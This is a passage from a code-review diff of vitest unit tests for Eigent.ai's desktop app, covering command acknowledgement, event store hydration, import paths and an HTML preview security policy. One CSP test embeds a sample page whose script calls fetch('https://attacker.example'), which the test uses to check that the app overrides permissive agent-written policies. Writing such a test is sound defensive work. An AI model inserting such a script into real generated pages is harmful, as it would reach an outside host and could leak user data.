it('replays the canonical failure rather than an upload error', () => {
|
||||
expect(
|
||||
ackFromDurableExecution('command-1', {
|
||||
event_type: 'execution.failed',
|
||||
payload: { error_code: 'TOOL_FAILED', error: 'original failure' },
|
||||
})
|
||||
).toMatchObject({
|
||||
status: 'failed',
|
||||
error_code: 'TOOL_FAILED',
|
||||
error: 'original failure',
|
||||
});
|
||||
});
|
||||
|
||||
it('preserves a queued execution result when restart reconciliation races it', () => {
|
||||
const command = {
|
||||
id: 'command-1',
|
||||
session_id: 'session-1',
|
||||
user_id: 1,
|
||||
source_channel: 'remote_control' as const,
|
||||
type: 'user_message',
|
||||
target_project_id: 'project-1',
|
||||
payload: {},
|
||||
};
|
||||
const completed = {
|
||||
status: 'completed' as const,
|
||||
event_id: 'command-1:execution-result',
|
||||
result: { run_id: 'run-1' },
|
||||
};
|
||||
|
||||
__remoteControlBridgeTestHooks.queuePendingCommandResult({
|
||||
command,
|
||||
body: completed,
|
||||
});
|
||||
const durable = __remoteControlBridgeTestHooks.queuePendingCommandResult({
|
||||
command,
|
||||
body: {
|
||||
status: 'failed',
|
||||
event_id: 'command-1:recovery-outcome-unknown',
|
||||
result: {},
|
||||
error_code: 'COMMAND_OUTCOME_UNKNOWN_AFTER_RESTART',
|
||||
},
|
||||
});
|
||||
|
||||
expect(durable.body).toEqual(completed);
|
||||
expect(
|
||||
__remoteControlBridgeTestHooks.ackFromPendingCommandResult(
|
||||
command.id,
|
||||
durable.body
|
||||
)
|
||||
).toMatchObject({
|
||||
status: 'acknowledged',
|
||||
result: { run_id: 'run-1' },
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
78
test/unit/lib/chatProjectionActivity.test.ts
Normal file
78
test/unit/lib/chatProjectionActivity.test.ts
Normal file
|
|
@ -0,0 +1,78 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { adaptChatProjectionEvent } from '@/lib/projector/chat';
|
||||
import type { CanonicalProjectEvent } from '@/lib/projector/types';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
function event(payload: Record<string, unknown>): CanonicalProjectEvent {
|
||||
return {
|
||||
eventId: 'tool-event-1',
|
||||
projectId: 'project-1',
|
||||
runId: 'run-1',
|
||||
runSequence: 1,
|
||||
runVersion: 1,
|
||||
cloudCursor: 1,
|
||||
eventType: 'tool.started',
|
||||
payload,
|
||||
legacyStep: null,
|
||||
createdAt: '2026-08-13T00:00:00Z',
|
||||
source: 'canonical',
|
||||
raw: payload,
|
||||
};
|
||||
}
|
||||
|
||||
describe('chat activity projection', () => {
|
||||
it('retains tool identity and backend call correlation for presentation', () => {
|
||||
const node = adaptChatProjectionEvent(
|
||||
event({
|
||||
toolkit_name: 'WebFetchToolkit',
|
||||
method_name: 'Web_fetch_and_analyze',
|
||||
tool_name: 'web_fetch',
|
||||
tool_call_id: 'call-10',
|
||||
})
|
||||
);
|
||||
|
||||
expect(node).toMatchObject({
|
||||
kind: 'activity',
|
||||
activityType: 'tool',
|
||||
status: 'running',
|
||||
toolkitName: 'WebFetchToolkit',
|
||||
methodName: 'Web_fetch_and_analyze',
|
||||
toolName: 'web_fetch',
|
||||
toolCallId: 'call-10',
|
||||
});
|
||||
});
|
||||
|
||||
it('accepts nested camel-case tool identity', () => {
|
||||
const node = adaptChatProjectionEvent(
|
||||
event({
|
||||
tool: {
|
||||
toolkitName: 'FileToolkit',
|
||||
methodName: 'read_file',
|
||||
toolName: 'read',
|
||||
invocationId: 'read-1',
|
||||
},
|
||||
})
|
||||
);
|
||||
|
||||
expect(node).toMatchObject({
|
||||
kind: 'activity',
|
||||
toolkitName: 'FileToolkit',
|
||||
methodName: 'read_file',
|
||||
toolName: 'read',
|
||||
toolCallId: 'read-1',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
@ -1,3 +1,17 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const mocked = vi.hoisted(() => ({
|
||||
|
|
@ -13,7 +27,7 @@ vi.mock('@/host/createHost', () => ({
|
|||
import {
|
||||
__desktopIdentityTestHooks,
|
||||
getDesktopInstanceId,
|
||||
} from './desktopIdentity';
|
||||
} from '@/lib/desktopIdentity';
|
||||
|
||||
describe('desktop identity ownership', () => {
|
||||
beforeEach(() => {
|
||||
|
|
@ -14,7 +14,12 @@
|
|||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { isStaticImageSrc, stripScriptBlocks } from '@/lib/htmlSanitization';
|
||||
import {
|
||||
injectPreviewContentSecurityPolicy,
|
||||
isStaticImageSrc,
|
||||
PREVIEW_CONTENT_SECURITY_POLICY,
|
||||
stripScriptBlocks,
|
||||
} from '@/lib/htmlSanitization';
|
||||
|
||||
describe('isStaticImageSrc', () => {
|
||||
it('accepts static relative paths', () => {
|
||||
|
|
@ -40,3 +45,24 @@ describe('stripScriptBlocks', () => {
|
|||
expect(stripScriptBlocks(html)).toContain('assets/home.png');
|
||||
});
|
||||
});
|
||||
|
||||
describe('HTML preview CSP', () => {
|
||||
it('replaces an agent-authored policy with the application policy', () => {
|
||||
const html = injectPreviewContentSecurityPolicy(`<!doctype html>
|
||||
<html><head>
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src *">
|
||||
</head><body><script>fetch('https://attacker.example')</script></body></html>`);
|
||||
const doc = new DOMParser().parseFromString(html, 'text/html');
|
||||
const policies = doc.querySelectorAll(
|
||||
'meta[http-equiv="Content-Security-Policy" i]'
|
||||
);
|
||||
|
||||
expect(policies).toHaveLength(1);
|
||||
expect(policies[0].getAttribute('content')).toBe(
|
||||
PREVIEW_CONTENT_SECURITY_POLICY
|
||||
);
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("default-src 'none'");
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).toContain("connect-src 'none'");
|
||||
expect(PREVIEW_CONTENT_SECURITY_POLICY).not.toContain('https:');
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -21,7 +21,7 @@ import {
|
|||
authorizeLocalPreviewPath,
|
||||
isExecutableExternalOpenPath,
|
||||
isMainRendererSender,
|
||||
} from '../../electron/main/localFileSecurity';
|
||||
} from '../../../electron/main/localFileSecurity';
|
||||
|
||||
const temporaryDirectories: string[] = [];
|
||||
|
||||
|
|
@ -1,8 +1,22 @@
|
|||
import { describe, expect, it } from 'vitest';
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import {
|
||||
resolveHistoricalRunElapsedMs,
|
||||
settleTaskElapsedMs,
|
||||
} from './taskDuration';
|
||||
} from '@/lib/taskDuration';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('settleTaskElapsedMs', () => {
|
||||
it('adds the live attempt to previously settled elapsed time', () => {
|
||||
|
|
@ -13,11 +13,11 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { fetchPost } from '@/api/http';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
convertAgentPluginToWorkspaceBundleDraft,
|
||||
inspectAgentPluginSource,
|
||||
} from './agentPluginImportApi';
|
||||
} from '@/service/agentPluginImportApi';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
vi.mock('@/api/http', () => ({ fetchPost: vi.fn() }));
|
||||
|
||||
|
|
@ -13,7 +13,6 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { fetchDelete, fetchGet, fetchPost } from '@/api/http';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
cancelFollowUpRequest,
|
||||
createFollowUpRequest,
|
||||
|
|
@ -23,7 +22,8 @@ import {
|
|||
markFollowUpRequestAdmitted,
|
||||
prioritizeFollowUpRequest,
|
||||
terminalContinuationAdmissionRejection,
|
||||
} from './followUpQueueApi';
|
||||
} from '@/service/followUpQueueApi';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
vi.mock('@/api/http', () => ({
|
||||
fetchDelete: vi.fn(),
|
||||
|
|
@ -35,9 +35,26 @@ describe('followUpQueueApi local Brain routes', () => {
|
|||
beforeEach(() => vi.clearAllMocks());
|
||||
|
||||
it('uses local /projects routes without the Cloud /api/v1 prefix', async () => {
|
||||
vi.mocked(fetchPost).mockResolvedValue({});
|
||||
vi.mocked(fetchGet).mockResolvedValue({ items: [] });
|
||||
vi.mocked(fetchDelete).mockResolvedValue({});
|
||||
// Single-record helpers validate their response at the transport boundary,
|
||||
// so these fixtures must be well formed even though this test only asserts
|
||||
// the request URLs.
|
||||
const record = {
|
||||
request_id: 'request 1',
|
||||
project_id: 'project 1',
|
||||
content: 'Continue',
|
||||
attachment_paths: [],
|
||||
delivery_mode: 'wait',
|
||||
status: 'pending',
|
||||
source: 'local',
|
||||
created_at: 0,
|
||||
updated_at: 0,
|
||||
};
|
||||
vi.mocked(fetchPost).mockResolvedValue(record);
|
||||
// The source-command route reads one record; the others read collections.
|
||||
vi.mocked(fetchGet).mockImplementation(async (url: string) =>
|
||||
url.startsWith('/follow-ups/source-command/') ? record : { items: [] }
|
||||
);
|
||||
vi.mocked(fetchDelete).mockResolvedValue(record);
|
||||
|
||||
await createFollowUpRequest({
|
||||
projectId: 'project 1',
|
||||
|
|
@ -12,8 +12,8 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { fetchGroupedHistoryProjects } from '@/service/historyApi';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { fetchGroupedHistoryProjects } from './historyApi';
|
||||
|
||||
const { proxyFetchGetMock } = vi.hoisted(() => ({
|
||||
proxyFetchGetMock: vi.fn(),
|
||||
|
|
@ -30,7 +30,7 @@ import {
|
|||
invalidatePendingHumanInteractions,
|
||||
isHumanInteractionStillPending,
|
||||
type HumanInteractionPayload,
|
||||
} from './humanInteractionApi';
|
||||
} from '@/service/humanInteractionApi';
|
||||
|
||||
describe('local HumanInteraction API', () => {
|
||||
beforeEach(() => {
|
||||
|
|
@ -14,12 +14,12 @@
|
|||
|
||||
import { fetchGet } from '@/api/http';
|
||||
import { normalizeLocalRunEvent } from '@/lib/projector';
|
||||
import { reconcileHumanInteractionEvents } from '@/service/humanInteractionEventReconciliation';
|
||||
import {
|
||||
getProjectEventStore,
|
||||
resetProjectEventStoresForTests,
|
||||
} from '@/store/projectEventStore';
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { reconcileHumanInteractionEvents } from './humanInteractionEventReconciliation';
|
||||
|
||||
vi.mock('@/api/http', () => ({ fetchGet: vi.fn() }));
|
||||
|
||||
|
|
@ -28,7 +28,7 @@ import {
|
|||
__permissionProfileApiTestHooks,
|
||||
getSpacePermissionProfile,
|
||||
putSpacePermissionProfile,
|
||||
} from './permissionProfileApi';
|
||||
} from '@/service/permissionProfileApi';
|
||||
|
||||
const profile = {
|
||||
space_id: 'space-1',
|
||||
|
|
@ -14,12 +14,12 @@
|
|||
|
||||
import { fetchGet } from '@/api/http';
|
||||
import { normalizeLocalRunEvent } from '@/lib/projector';
|
||||
import { ProjectEventStore } from '@/store/projectEventStore';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
hydrateProjectEventStore,
|
||||
ProjectEventStoreHydrationError,
|
||||
} from './projectEventStoreHydration';
|
||||
} from '@/service/projectEventStoreHydration';
|
||||
import { ProjectEventStore } from '@/store/projectEventStore';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
vi.mock('@/api/http', () => ({ fetchGet: vi.fn() }));
|
||||
|
||||
|
|
@ -426,6 +426,45 @@ describe('hydrateProjectEventStore', () => {
|
|||
});
|
||||
});
|
||||
|
||||
it('ring-retains the newest tail in order across multiple wraparounds', async () => {
|
||||
// One wraparound can pass by coincidence; this drops three events from a
|
||||
// two-slot ring so the unrolled result must come from both ring segments.
|
||||
const store = new ProjectEventStore('project-1', {
|
||||
scheduleFlush: () => () => undefined,
|
||||
});
|
||||
fetchGetMock
|
||||
.mockResolvedValueOnce(runsResponse({ status: 'running', version: 2 }))
|
||||
.mockResolvedValueOnce({
|
||||
run_id: 'run-1',
|
||||
next_sequence: 5,
|
||||
has_more: false,
|
||||
events: [
|
||||
localEvent(1),
|
||||
localEvent(2),
|
||||
localEvent(3),
|
||||
localEvent(4),
|
||||
localEvent(5, 'run-1', {
|
||||
event_type: 'run.completed',
|
||||
legacy_step: 'end',
|
||||
}),
|
||||
],
|
||||
});
|
||||
|
||||
await expect(
|
||||
hydrateProjectEventStore({
|
||||
projectId: 'project-1',
|
||||
store,
|
||||
maxEvents: 2,
|
||||
eventPageSize: 5,
|
||||
})
|
||||
).resolves.toMatchObject({ eventCount: 2, eventsTruncated: true });
|
||||
|
||||
expect(store.getSnapshot().chat.nodes.map((node) => node.eventId)).toEqual([
|
||||
'run-1-event-4',
|
||||
'run-1-event-5',
|
||||
]);
|
||||
});
|
||||
|
||||
it('keeps a newer terminal replay status over a stale Run aggregate', async () => {
|
||||
const store = new ProjectEventStore('project-1', {
|
||||
scheduleFlush: () => () => undefined,
|
||||
|
|
@ -24,7 +24,7 @@ import {
|
|||
ProjectRunEventStreamOwner,
|
||||
selectCanonicalLiveRuns,
|
||||
type EventStreamTransport,
|
||||
} from './projectRunEventStream';
|
||||
} from '@/service/projectRunEventStream';
|
||||
|
||||
type RunInput = {
|
||||
runId: string;
|
||||
|
|
@ -40,7 +40,7 @@ import {
|
|||
getPublicWorkspaceBundleRevision,
|
||||
publishWorkspaceBundleRevision,
|
||||
uploadWorkspaceBundleAsset,
|
||||
} from './workspaceBundleAuthoringApi';
|
||||
} from '@/service/workspaceBundleAuthoringApi';
|
||||
|
||||
describe('workspace bundle authoring API', () => {
|
||||
beforeEach(() => {
|
||||
|
|
@ -27,7 +27,7 @@ vi.mock('@/api/http', () => ({
|
|||
fetchPut: mocks.fetchPut,
|
||||
}));
|
||||
|
||||
vi.mock('./workspaceBundleAuthoringApi', () => ({
|
||||
vi.mock('@/service/workspaceBundleAuthoringApi', () => ({
|
||||
getPublicWorkspaceBundleRevision: mocks.getPublicRevision,
|
||||
}));
|
||||
|
||||
|
|
@ -37,7 +37,7 @@ import {
|
|||
fetchWorkspaceBundleInstallForSpace,
|
||||
fetchWorkspaceBundleInstallReview,
|
||||
parseWorkspaceBundleHandle,
|
||||
} from './workspaceBundleInstallApi';
|
||||
} from '@/service/workspaceBundleInstallApi';
|
||||
|
||||
describe('workspace Bundle install API', () => {
|
||||
beforeEach(() => {
|
||||
|
|
@ -37,7 +37,7 @@ import {
|
|||
uploadPreparedWorkspaceConfigurationAsset,
|
||||
workspaceEnvironmentVariables,
|
||||
type WorkspaceConfigurationDocument,
|
||||
} from './workspaceConfigurationApi';
|
||||
} from '@/service/workspaceConfigurationApi';
|
||||
|
||||
const document: WorkspaceConfigurationDocument = {
|
||||
apiVersion: 'eigent.ai/v1alpha1',
|
||||
|
|
@ -169,7 +169,7 @@ describe('workspace configuration API', () => {
|
|||
const {
|
||||
recordPublishedWorkspaceConfiguration,
|
||||
reviewWorkspaceConfiguration,
|
||||
} = await import('./workspaceConfigurationApi');
|
||||
} = await import('@/service/workspaceConfigurationApi');
|
||||
fetchGetMock.mockResolvedValue({ draft_version: 4, review: {} });
|
||||
fetchPostMock.mockResolvedValue({ revision: {}, draft: {} });
|
||||
|
||||
|
|
@ -28,7 +28,7 @@ import {
|
|||
executeAdvancedGit,
|
||||
fetchWorkspaceGitHistory,
|
||||
previewAdvancedGit,
|
||||
} from './workspaceGitApi';
|
||||
} from '@/service/workspaceGitApi';
|
||||
|
||||
describe('workspace Git advanced API', () => {
|
||||
beforeEach(() => {
|
||||
|
|
@ -12,7 +12,6 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import {
|
||||
acceptCanonicalRunEvent,
|
||||
admitDurableRunResume,
|
||||
|
|
@ -25,7 +24,8 @@ import {
|
|||
mergeFileInfoLists,
|
||||
normalizeTaskArtifactFileList,
|
||||
removeResolvedInteractionMessages,
|
||||
} from './chatStore';
|
||||
} from '@/store/chatStore';
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
describe('canonical Run replay projection', () => {
|
||||
it('surfaces Resume admission failures before execution starts', async () => {
|
||||
|
|
@ -13,7 +13,7 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { usePageTabStore } from '@/store/pageTabStore';
|
||||
import { beforeEach, describe, expect, it } from 'vitest';
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
describe('pageTabStore turn selection', () => {
|
||||
beforeEach(() => {
|
||||
|
|
@ -58,3 +58,30 @@ describe('pageTabStore turn selection', () => {
|
|||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('pageTabStore side-panel viewport selection', () => {
|
||||
beforeEach(() => {
|
||||
usePageTabStore.setState({
|
||||
sidePanelManualUntilByProject: {},
|
||||
sidePanelSelectedTurnByProject: {},
|
||||
sidePanelViewedTurnByProject: {},
|
||||
});
|
||||
});
|
||||
|
||||
it('does not publish duplicate state for repeated observer callbacks', () => {
|
||||
const listener = vi.fn();
|
||||
const unsubscribe = usePageTabStore.subscribe(listener);
|
||||
|
||||
usePageTabStore
|
||||
.getState()
|
||||
.setSidePanelViewedTurn('project_one', 'task_one');
|
||||
expect(listener).toHaveBeenCalledTimes(1);
|
||||
|
||||
usePageTabStore
|
||||
.getState()
|
||||
.setSidePanelViewedTurn('project_one', 'task_one');
|
||||
expect(listener).toHaveBeenCalledTimes(1);
|
||||
|
||||
unsubscribe();
|
||||
});
|
||||
});
|
||||
|
|
|
|||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Add table
Add a link
Reference in a new issue